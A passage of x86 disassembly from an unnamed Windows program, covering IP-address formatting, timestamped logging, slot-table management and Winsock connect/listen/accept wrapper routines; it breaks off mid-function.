var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419850
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41981E
mov eax, [esp+30h]
test eax, eax
jz short loc_41981E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
call near ptr 71ABE479h
nop
test eax, eax
jz short loc_419850
mov eax, [eax]
push ebx
push eax
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41981E: ; CODE XREF: sub_419790+5Aj
; sub_419790+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
nop
call near ptr 71AB50C8h
test eax, eax
pop edi
jnz short loc_419850
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_419850: ; CODE XREF: sub_419790+52j
; sub_419790+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419790 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4198A0 proc near ; CODE XREF: sub_401EECj
nop
call near ptr 27F06FDh
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4198A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4198C0 proc near ; CODE XREF: sub_4021A3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
nop
call near ptr 77C371D3h
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43E0B0
call sub_4368EA
sub_4198C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419910: ; CODE XREF: ___:00401C85j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419930: ; CODE XREF: ___:0040151Ej
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419950: ; CODE XREF: ___:00401FC3j
xor al, al
retn 4
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419970 proc near ; CODE XREF: sub_401523j
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D60A5
call sub_401118
retn
sub_419970 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4199B0: ; CODE XREF: ___:00401505j
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_4199E3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_4199E3
mov [esp+18h], eax
loc_4199E3: ; CODE XREF: ___:004199CBj
; ___:004199DDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_506E5C
loc_4199F8: ; CODE XREF: ___:00419A49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419A4B
cmp byte ptr [esi], 0
jz short loc_419A34
mov eax, [esp+30h]
test eax, eax
jz short loc_419A28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419A28
push eax
push esi
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz short loc_419A34
loc_419A28: ; CODE XREF: ___:00419A0Fj
; ___:00419A17j
push edi
push esi
push ebx
push ebp
call sub_401523
add esp, 10h
loc_419A34: ; CODE XREF: ___:00419A07j
; ___:00419A26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50AE5C
mov [esp+14h], edx
jl short loc_4199F8
loc_419A4B: ; CODE XREF: ___:00419A02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: ___:00402266j
push ebx
mov ebx, dword_50FAF8
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_506E5C
loc_419AA2: ; CODE XREF: ___:00419ABEj
cmp byte ptr [esi], 0
jz short loc_419AB2
push edi
push esi
call ebx ; dword_50FAF8
add esp, 8
test eax, eax
jnz short loc_419AC6
loc_419AB2: ; CODE XREF: ___:00419AA5j
add esi, 80h
cmp esi, offset dword_50AE5C
jl short loc_419AA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419AC6: ; CODE XREF: ___:00419AB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419AE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
call near ptr 27C0000h
nop
mov edi, dword_50FAFC
mov esi, offset dword_50AE5C
loc_419AFB: ; CODE XREF: sub_419AE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419B0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; dword_50FAFC
add esp, 0Ch
loc_419B0F: ; CODE XREF: sub_419AE0+1Ej
sub esi, 80h
cmp esi, offset dword_506E5C
jge short loc_419AFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_506E5C
call near ptr 77C3FA76h
nop
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419AE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419BB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_50FAFC
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp ; dword_50FAFC
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419C21
mov [edx+180h], al
loc_419C21: ; CODE XREF: ___:00419C19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jz loc_419D32
loc_419C3F: ; CODE XREF: ___:00419D25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp ; dword_50FAFC
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp ; dword_50FAFC
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419D00
lea eax, [ebx-1]
test eax, eax
jz short loc_419D00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419CDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
nop
call sub_5EA1BD
add esp, 14h
jmp short loc_419D00
; ---------------------------------------------------------------------------
loc_419CDD: ; CODE XREF: ___:00419CAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
nop
call sub_5EA1BD
add esp, 10h
loc_419D00: ; CODE XREF: ___:00419C8Aj
; ___:00419C91j ...
mov edx, [esp+61Ch]
mov esi, dword_50FAF8
push edx
push ebx
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jnz short loc_419D2B
lea eax, [esp+10h]
push ebx
push eax
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jnz loc_419C3F
loc_419D2B: ; CODE XREF: ___:00419D16j
mov esi, [esp+614h]
loc_419D32: ; CODE XREF: ___:00419C39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp ; dword_50FAFC
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419DD0: ; CODE XREF: ___:004018CFj
sub esp, 10h
push esi
push 0
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419DEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419DEE: ; CODE XREF: ___:00419DE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_419E39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E39: ; CODE XREF: ___:00419E2Fj
push 7FFFFFFFh
push esi
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_419E51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E51: ; CODE XREF: ___:00419E47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419E90: ; CODE XREF: ___:00401E65j
push edi
xor edi, edi
mov eax, offset byte_4DE2D5
loc_419E98: ; CODE XREF: ___:00419EA8j
cmp dword ptr [eax], 0
jz short loc_419EAA
add eax, 316h
inc edi
cmp eax, offset byte_4E5E45
jle short loc_419E98
loc_419EAA: ; CODE XREF: ___:00419E9Bj
cmp edi, 13h
jle short loc_419EB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419EB4: ; CODE XREF: ___:00419EADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4DE1DBh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx ; sub_5EA1BD
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5EA1BD
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419F50 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D6765
loc_419F58: ; CODE XREF: sub_419F50+18j
cmp dword ptr [eax], 0
jz short loc_419F6A
add eax, 316h
inc edi
cmp eax, offset byte_4DE2D5
jle short loc_419F58
loc_419F6A: ; CODE XREF: sub_419F50+Bj
cmp edi, 13h
jle short loc_419F74
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419F74: ; CODE XREF: sub_419F50+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D666Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx ; sub_5EA1BD
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5EA1BD
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_419F50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A010 proc near ; CODE XREF: sub_401C35j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43E0BC
mov eax, dword_50BB28
test eax, eax
jnz short loc_41A048
mov eax, dword_50BB28
inc eax
mov dword_50BB28, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
call near ptr 71AB664Dh
nop
jmp short loc_41A055
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_41A010+19j
mov edx, dword_50BB28
inc edx
mov dword_50BB28, edx
loc_41A055: ; CODE XREF: sub_41A010+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_446F60
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FC8
test [esp+4+arg_0], 1
jz short loc_41A0F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A0E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401FC8j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43E0BC
test al, al
jnz short loc_41A125
call sub_4014DD
loc_41A125: ; CODE XREF: sub_41A110+Ej
mov eax, 1
mov ecx, dword_50BB28
cmp ecx, eax
jle short loc_41A140
mov eax, dword_50BB28
dec eax
mov dword_50BB28, eax
locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j
retn
; ---------------------------------------------------------------------------
loc_41A140: ; CODE XREF: sub_41A110+22j
jnz short locret_41A13F
mov ecx, dword_50BB28
dec ecx
mov dword_50BB28, ecx
nop
jmp near ptr 71AB4428h
sub_41A110 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A180: ; CODE XREF: ___:004015A0j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43ACCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40195B
test al, al
jz loc_41A231
mov al, [esi+80Bh]
test al, al
jz short loc_41A1B9
mov al, 1
jmp short loc_41A231
; ---------------------------------------------------------------------------
loc_41A1B9: ; CODE XREF: ___:0041A1B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401636
push eax
mov ecx, esi
call sub_4020C7
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40186B
mov al, bl
pop edi
pop ebx
loc_41A231: ; CODE XREF: ___:0041A1A5j
; ___:0041A1B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A290 proc near ; CODE XREF: sub_40195Bj
mov al, byte_443DC0
retn
sub_41A290 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A2B0 proc near ; CODE XREF: sub_4020C7j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A2D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A2D0: ; CODE XREF: sub_41A2B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A471
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A30A
mov ecx, esi
call sub_4014DD
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A30A: ; CODE XREF: sub_41A2B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A319
push 1
jmp short loc_41A31B
; ---------------------------------------------------------------------------
loc_41A319: ; CODE XREF: sub_41A2B0+63j
push 0
loc_41A31B: ; CODE XREF: sub_41A2B0+67j
mov ecx, esi
call sub_4018BB
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
nop
call near ptr 71AB2B66h
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_50FC44
test eax, eax
jge short loc_41A3BC
call ebp ; dword_50FC44
cmp eax, 2733h
jz short loc_41A3AD
call ebp ; dword_50FC44
cmp eax, 0Bh
jz short loc_41A3AD
call ebp ; dword_50FC44
cmp eax, 2733h
jz short loc_41A3AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j
; sub_41A2B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A46A
loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_50FC80
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi ; dword_50FC80
test eax, eax
jge short loc_41A430
loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej
call ebp ; dword_50FC44
call ebp ; dword_50FC44
cmp eax, 4
jnz short loc_41A445
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A414
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A445
loc_41A414: ; CODE XREF: sub_41A2B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi ; dword_50FC80
test eax, eax
jl short loc_41A3FB
loc_41A430: ; CODE XREF: sub_41A2B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A461
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A463
; ---------------------------------------------------------------------------
loc_41A445: ; CODE XREF: sub_41A2B0+152j
; sub_41A2B0+162j
mov ecx, esi
call sub_4014DD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A461: ; CODE XREF: sub_41A2B0+189j
push 0
loc_41A463: ; CODE XREF: sub_41A2B0+193j
mov ecx, esi
call sub_4018BB
loc_41A46A: ; CODE XREF: sub_41A2B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A471: ; CODE XREF: sub_41A2B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A2B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A500 proc near ; CODE XREF: sub_4014DDj
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
push eax
nop
call near ptr 71AB9639h
loc_41A51A: ; CODE XREF: sub_41A500+Cj
; sub_41A500+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A500 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A540 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_446F60
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A540 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A5B0 proc near ; CODE XREF: sub_401488j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A5C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A67F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A5FB
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5FB: ; CODE XREF: sub_41A5B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41A654
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A654: ; CODE XREF: sub_41A5B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41A678
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A678: ; CODE XREF: sub_41A5B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A5B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6D0 proc near ; CODE XREF: sub_401B81j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A6EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A6EE: ; CODE XREF: sub_41A6D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A705
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A705: ; CODE XREF: sub_41A6D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A781
call sub_40195B
test al, al
jz short loc_41A774
mov edi, dword_50FC80
loc_41A71E: ; CODE XREF: sub_41A6D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi ; dword_50FC80
test eax, eax
jz short loc_41A76B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_436F60
test eax, eax
jnz short loc_41A781
loc_41A76B: ; CODE XREF: sub_41A6D0+84j
call sub_40195B
test al, al
jnz short loc_41A71E
loc_41A774: ; CODE XREF: sub_41A6D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A781: ; CODE XREF: sub_41A6D0+3Dj
; sub_41A6D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A7A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A7B6
; ---------------------------------------------------------------------------
loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j
mov eax, [esi+806h]
push eax
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A7D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
